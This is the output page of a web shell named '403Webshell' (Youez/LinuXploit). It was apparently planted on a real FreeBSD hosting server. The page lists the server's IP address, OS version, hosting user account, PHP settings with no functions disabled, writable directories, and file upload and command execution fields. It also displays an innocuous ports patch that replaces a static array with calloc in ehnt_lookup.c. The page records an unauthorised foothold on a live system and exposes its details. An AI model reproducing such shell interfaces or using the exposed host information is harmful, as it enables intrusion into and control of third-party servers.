403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.216.89
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/net-mgmt/ehnt/files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/ports/net-mgmt/ehnt/files/patch-ehnt-lookup
--- ehnt_lookup.c.orig	Thu Oct  4 22:18:29 2001
+++ ehnt_lookup.c	Mon May 24 12:01:50 2004
@@ -25,7 +25,7 @@
 
 
 #define ASNCOUNT 65536
-char * ASNs[ASNCOUNT];
+char ** ASNs;
 
 int Init_ASN_Lookups(void) {
 
@@ -34,9 +34,11 @@
   int asn;
   char line[100],asnname[100];
 
-  memset(ASNs,0,sizeof(ASNs));
+  ASNs = calloc(ASNCOUNT, sizeof(char *));
+  if (ASNs == NULL)
+    perror("out of memory");
 
-  if ( ! (f=fopen ("asnc.txt","r")) ) {
+  if ( ! (f=fopen (ASNCDIR "/asnc.txt","r")) ) {
     perror("fopen");
   } else {
     for ( ; ; ) {

Youez - 2016 - github.com/yon3zu
LinuXploit